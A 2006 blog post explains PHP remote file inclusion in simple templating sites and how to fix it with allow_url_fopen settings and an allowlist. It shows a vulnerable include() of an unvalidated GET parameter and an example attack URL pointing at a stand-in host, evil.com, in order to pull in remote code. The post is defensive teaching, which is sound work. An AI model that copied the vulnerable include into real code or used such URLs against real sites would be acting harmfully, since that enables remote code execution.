Jelly and Custard

Problems with simple templating

April 21st, 2006

Its quite common for people to have one main template, and 'include' their content into the main content area. This works well for small informational sites, where the main content is the bit that changes on each page.

You can spot these sites a mile away with their URL's all following a similar pattern:

http://www.domain.com/index.php?page=home

There's nothing wrong with this as such, however, the issue is when the input isn't validated. First, lets see the code on index.php that pulls in our main content

include($_GET["page"].'.html.);

I've come across a few sites in the last few weeks with just the above - its just asking to be exploited. What can happen? If I were to now alter the URL like so:

http://www.domain.com/index.php?page=http://www.evil.com/hacker

This would now include hacker.html from www.evil.com. When using include(), the contents of the file included are parsed if PHP is found. Thus, the hacker.html could contain php code to reveal your configuration files, or run other arbitrary code. One server I looked at was running a script placed in /tmp that was abusing IRC networks.

So its important to ensure that your code is secure. There are 101 different ways of fixing this issue. One is to disable allow_url_fopen via a .htaccess file:

php_flag allow_url_fopen 0

This will make sure that include, fopen, require et al. cannot use a URL as their parameter.

Another alternative is to validate the input against a known list:

$allowed = array("index","contact","page1","about_us"); //array of allowed filenames
if(in_array($_GET["page"],$allowed)) {
include($_GET["page"].".html");
} else {
die("Bad Page Requested");
}

Hopefully, this small article will help you to see places in your coding where you should be more careful. It is absolutely essential that we validate all input from the user, be it from cookies, POST, GET etc. Failure to do so will end up with problems in the long run.

 Add to del.icio.us    Digg this    Technorati

Related Posts:

• Variable Casting
• Slow SCP Speeds
• More on submitting forms
• Running Oracle 10g XE & PHP on Linux
• 301 Page Redirects using PHP and .htaccess

Entry Filed under: Input Validation